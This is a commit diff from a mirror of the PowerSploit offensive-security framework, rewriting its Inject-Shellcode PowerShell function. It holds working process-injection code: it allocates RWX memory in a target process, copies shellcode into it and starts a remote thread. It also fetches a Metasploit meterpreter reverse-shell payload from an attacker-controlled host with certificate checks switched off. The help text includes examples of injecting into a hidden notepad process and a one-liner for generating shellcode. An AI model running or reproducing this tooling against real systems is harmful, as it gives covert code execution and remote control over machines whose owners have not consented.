mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Updated Inject-Shellcode and style guide
New Features/Changes: - Dramatically simplified parameters. Removed redundancies and named parameter sets more appropriately - Added 'Shellcode' parameter. Now, you can optionally specify shellcode as a byte array rather than having to copy and paste shellcode into the $Shellcode32 and/or $Shellcode64 variables - Added 'Payload' parameter. Naming is now consistant with Metasploit payloads. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - Inject-Shellcode will now prompt the user to continue the 'dangerous' action unless the -Force switch is provided. Hopefully, this will prevent some people from carrying out stupid/regrettable actions. - Added the 'ListMetasploitPayloads' switch to display the Metasploit payloads supported by Inject-Shellcode Bug fixes/Miscellaneous: - Added UserAgent parameter to help documentation - Code is much more readable now - Changed internal helper functions to 'local' scope - Now using proper error handling versus Write-Warning statements - Added a subtle warning to the built-in shellcode...
This commit is contained in:
+402
-182
@@ -1,157 +1,226 @@
|
||||
function Inject-Shellcode {
|
||||
|
||||
function Inject-Shellcode
|
||||
{
|
||||
<#
|
||||
.Synopsis
|
||||
.SYNOPSIS
|
||||
|
||||
PowerSploit Module - Inject-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.Description
|
||||
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
|
||||
|
||||
Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally.
|
||||
PowerSploit Module - Inject-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
|
||||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||||
.DESCRIPTION
|
||||
|
||||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your
|
||||
shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||||
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||||
|
||||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode.
|
||||
It's entirely unnecessary.
|
||||
|
||||
.Parameter ProcessID
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
|
||||
Process ID of the process you want to inject shellcode into.
|
||||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
|
||||
|
||||
.Parameter Remote
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Indicates that you want to inject into a remote process.
|
||||
|
||||
.Parameter Local
|
||||
Process ID of the process you want to inject shellcode into.
|
||||
|
||||
.PARAMETER Shellcode
|
||||
|
||||
Indicates that you want to inject within PowerShell.
|
||||
|
||||
.Parameter Meterpreter_Reverse_Http
|
||||
|
||||
Establish a reverse meterpreter shell over HTTP. Note: This will only work in 32-bit PowerShell.
|
||||
|
||||
.Parameter Meterpreter_Reverse_Https
|
||||
|
||||
Establish a reverse meterpreter shell over HTTPS. Note: This will only work in 32-bit PowerShell.
|
||||
|
||||
.Parameter Lhost
|
||||
Specifies an optional shellcode passed in as a byte array
|
||||
|
||||
.PARAMETER ListMetasploitPayloads
|
||||
|
||||
Specifies the IP address of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.Parameter Lport
|
||||
|
||||
Specifies the port of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.Example
|
||||
Lists all of the available Metasploit payloads that Inject-Shellcode supports
|
||||
|
||||
PS> Inject-Shellcode -Remote 4274
|
||||
.PARAMETER Lhost
|
||||
|
||||
Specifies the IP address of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Lport
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into process ID 4274.
|
||||
|
||||
.Example
|
||||
Specifies the port of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Payload
|
||||
|
||||
PS> Inject-Shellcode -Local
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into the running instance of PowerShell.
|
||||
|
||||
.Example
|
||||
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
|
||||
|
||||
PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
|
||||
PS> $Proc = Get-Process notepad
|
||||
PS> Inject-Shellcode -Remote -ProcessId $Proc.Id -Meterpreter_Reverse_Https -Lhost 192.168.30.129 -Lport 443 -Verbose
|
||||
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
|
||||
VERBOSE: Injecting shellcode into PID: 4004
|
||||
VERBOSE: Injecting into a Wow64 process.
|
||||
VERBOSE: Using 32-bit shellcode.
|
||||
VERBOSE: Shellcode memory reserved at 0x03BE0000
|
||||
VERBOSE: Emitting 32-bit assembly call stub.
|
||||
VERBOSE: Thread call stub memory reserved at 0x001B0000
|
||||
VERBOSE: Shellcode injection complete!
|
||||
.PARAMETER UserAgent
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
|
||||
with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_https):
|
||||
Optionally specifies the user agent to use when using meterpreter http or https payloads
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 443 yes The local listener port
|
||||
|
||||
.Example
|
||||
Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act.
|
||||
|
||||
PS> Inject-Shellcode -Local -Meterpreter_Reverse_Http -Lhost 192.168.30.129 -Lport 80
|
||||
.EXAMPLE
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
|
||||
with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_http):
|
||||
C:\PS> Inject-Shellcode -ProcessId 4274
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 80 yes The local listener port
|
||||
|
||||
.Notes
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into process ID 4274.
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables.
|
||||
|
||||
.Link
|
||||
.EXAMPLE
|
||||
|
||||
My blog: http://www.exploit-monday.com
|
||||
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
|
||||
C:\PS> Inject-Shellcode
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into the running instance of PowerShell.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
|
||||
C:\PS> $Proc = Get-Process notepad
|
||||
C:\PS> Inject-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
|
||||
|
||||
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
|
||||
VERBOSE: Injecting shellcode into PID: 4004
|
||||
VERBOSE: Injecting into a Wow64 process.
|
||||
VERBOSE: Using 32-bit shellcode.
|
||||
VERBOSE: Shellcode memory reserved at 0x03BE0000
|
||||
VERBOSE: Emitting 32-bit assembly call stub.
|
||||
VERBOSE: Thread call stub memory reserved at 0x001B0000
|
||||
VERBOSE: Shellcode injection complete!
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
|
||||
with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 443 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
|
||||
with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_http):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 80 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
|
||||
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -ListMetasploitPayloads
|
||||
|
||||
Payloads
|
||||
--------
|
||||
windows/meterpreter/reverse_http
|
||||
windows/meterpreter/reverse_https
|
||||
|
||||
.NOTES
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
|
||||
|
||||
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding(DefaultParameterSetName = '1')] Param (
|
||||
[Parameter(Position = 0)] [String] $ProcessID,
|
||||
[Parameter()] [Switch] $Remote = $false,
|
||||
[Parameter()] [Switch] $Local = $true,
|
||||
[Parameter(Mandatory = $True, ParameterSetName = '2')] [Switch] $Meterpreter_Reverse_Http,
|
||||
[Parameter(Mandatory = $True, ParameterSetName = '3')] [Switch] $Meterpreter_Reverse_Https,
|
||||
[Parameter(Mandatory = $True, ParameterSetName = '2')]
|
||||
[Parameter(Mandatory = $True, ParameterSetName = '3')] [Int] $Lport = 8443,
|
||||
[Parameter(Mandatory = $True, ParameterSetName = '2')]
|
||||
[Parameter(Mandatory = $True, ParameterSetName = '3')] [String] $Lhost = '127.0.0.1', # Defaults to localhost in case a mistake is made
|
||||
[Parameter(ParameterSetName = '2')]
|
||||
[Parameter(ParameterSetName = '3')] [String] $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
|
||||
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'RunLocal' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateSet( 'windows/meterpreter/reverse_http',
|
||||
'windows/meterpreter/reverse_https',
|
||||
IgnoreCase = $True )]
|
||||
[String]
|
||||
$Payload = 'windows/meterpreter/reverse_http',
|
||||
|
||||
[Parameter( ParameterSetName = 'ListPayloads' )]
|
||||
[Switch]
|
||||
$ListMetasploitPayloads,
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Lhost = '127.0.0.1',
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateRange( 1,65535 )]
|
||||
[Int]
|
||||
$Lport = 8443,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNull()]
|
||||
[String]
|
||||
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
|
||||
|
||||
[Switch]
|
||||
$Force = $False
|
||||
)
|
||||
|
||||
if ($Remote -and !$ProcessID) {
|
||||
Write-Warning "You must specify a process ID!"
|
||||
return
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
# List all available Metasploit payloads and exit the function
|
||||
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
|
||||
{
|
||||
$AvailablePayloads = (Get-Command Inject-Shellcode).Parameters['Payload'].Attributes |
|
||||
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
|
||||
|
||||
foreach ($Payload in $AvailablePayloads.ValidValues)
|
||||
{
|
||||
New-Object PSObject -Property @{ Payloads = $Payload }
|
||||
}
|
||||
|
||||
Return
|
||||
}
|
||||
|
||||
try {
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Ensure a valid process ID was provided
|
||||
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
} catch [System.Management.Automation.ActionPreferenceStopException] {
|
||||
Write-Warning "Process does not exist!"
|
||||
return
|
||||
}
|
||||
|
||||
function Get-DelegateType
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
|
||||
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
@@ -163,14 +232,23 @@ function Inject-Shellcode {
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
return $TypeBuilder.CreateType()
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Get-ProcAddress
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
|
||||
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
@@ -184,24 +262,29 @@ function Inject-Shellcode {
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) {
|
||||
|
||||
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
|
||||
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
|
||||
{
|
||||
$IntSizePtr = $Architecture / 8
|
||||
|
||||
function ConvertTo-LittleEndian ([IntPtr] $Address) {
|
||||
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
|
||||
{
|
||||
$LittleEndianByteArray = New-Object Byte[](0)
|
||||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||||
[System.Array]::Reverse($LittleEndianByteArray)
|
||||
return $LittleEndianByteArray
|
||||
|
||||
Write-Output $LittleEndianByteArray
|
||||
}
|
||||
|
||||
$CallStub = New-Object Byte[](0)
|
||||
|
||||
if ($IntSizePtr -eq 8) {
|
||||
if ($IntSizePtr -eq 8)
|
||||
{
|
||||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
@@ -209,7 +292,9 @@ function Inject-Shellcode {
|
||||
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
@@ -219,15 +304,18 @@ function Inject-Shellcode {
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
}
|
||||
|
||||
return $CallStub
|
||||
Write-Output $CallStub
|
||||
}
|
||||
|
||||
function Inject-RemoteShellcode ([Int] $ProcessID)
|
||||
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
|
||||
{
|
||||
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
Throw "Unable to open a process handle for PID: $ProcessID"
|
||||
}
|
||||
|
||||
$IsWow64 = $false
|
||||
|
||||
@@ -235,26 +323,52 @@ function Inject-Shellcode {
|
||||
{
|
||||
# Determine is the process specified is 32 or 64 bit
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
if ((!$IsWow64) -and $PowerShell32bit) {
|
||||
Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return
|
||||
} elseif ($IsWow64){
|
||||
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
|
||||
|
||||
if ((!$IsWow64) -and $PowerShell32bit)
|
||||
{
|
||||
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
|
||||
}
|
||||
elseif ($IsWow64) # 32-bit Wow64 process
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Injecting into a Wow64 process.'
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
} else {
|
||||
if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
$Shellcode = $Shellcode64
|
||||
}
|
||||
} else {
|
||||
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
|
||||
else # 64-bit process
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
}
|
||||
else # 32-bit CPU
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
|
||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return }
|
||||
|
||||
if (!$RemoteMemAddr)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode into the previously allocated memory
|
||||
@@ -263,19 +377,29 @@ function Inject-Shellcode {
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($IsWow64) {
|
||||
if ($IsWow64)
|
||||
{
|
||||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate inline assembly stub
|
||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return }
|
||||
|
||||
if (!$RemoteStubAddr)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write 32-bit assembly stub to remote process memory space
|
||||
@@ -283,7 +407,11 @@ function Inject-Shellcode {
|
||||
|
||||
# Execute shellcode as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread
|
||||
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch remote thread in PID: $ProcessID"
|
||||
}
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
@@ -291,21 +419,37 @@ function Inject-Shellcode {
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
function Inject-LocalShellcode
|
||||
function Local:Inject-LocalShellcode
|
||||
{
|
||||
if ($PowerShell32bit) {
|
||||
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
} else {
|
||||
if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the shellcode
|
||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return }
|
||||
if (!$BaseAddress)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode to RWX buffer
|
||||
@@ -314,17 +458,26 @@ function Inject-Shellcode {
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($PowerShell32bit) {
|
||||
if ($PowerShell32bit)
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||||
Write-Verbose 'Emitting 32-bit shellcode.'
|
||||
} else {
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||||
Write-Verbose 'Emitting 64-bit shellcode.'
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the thread call stub
|
||||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return }
|
||||
if (!$CallStubAddress)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub."
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy call stub to RWX buffer
|
||||
@@ -332,7 +485,10 @@ function Inject-Shellcode {
|
||||
|
||||
# Launch shellcode in it's own thread
|
||||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch thread."
|
||||
}
|
||||
|
||||
# Wait for shellcode thread to terminate
|
||||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||||
@@ -342,41 +498,92 @@ function Inject-Shellcode {
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
$64bitCPU = $true
|
||||
|
||||
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
if ($IsWow64ProcessAddr) {
|
||||
if ($IsWow64ProcessAddr)
|
||||
{
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
} else {
|
||||
|
||||
$64bitCPU = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$64bitCPU = $false
|
||||
}
|
||||
|
||||
if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
$PowerShell32bit = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$PowerShell32bit = $false
|
||||
}
|
||||
|
||||
if ($Meterpreter_Reverse_Http -or $Meterpreter_Reverse_Https) {
|
||||
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
|
||||
{
|
||||
if (!$PowerShell32bit) {
|
||||
Write-Warning 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
|
||||
return
|
||||
Throw 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
|
||||
}
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
|
||||
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to carry out download of Metasploit payload. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
switch ($Payload)
|
||||
{
|
||||
'windows/meterpreter/reverse_http'
|
||||
{
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
'windows/meterpreter/reverse_https'
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
}
|
||||
}
|
||||
|
||||
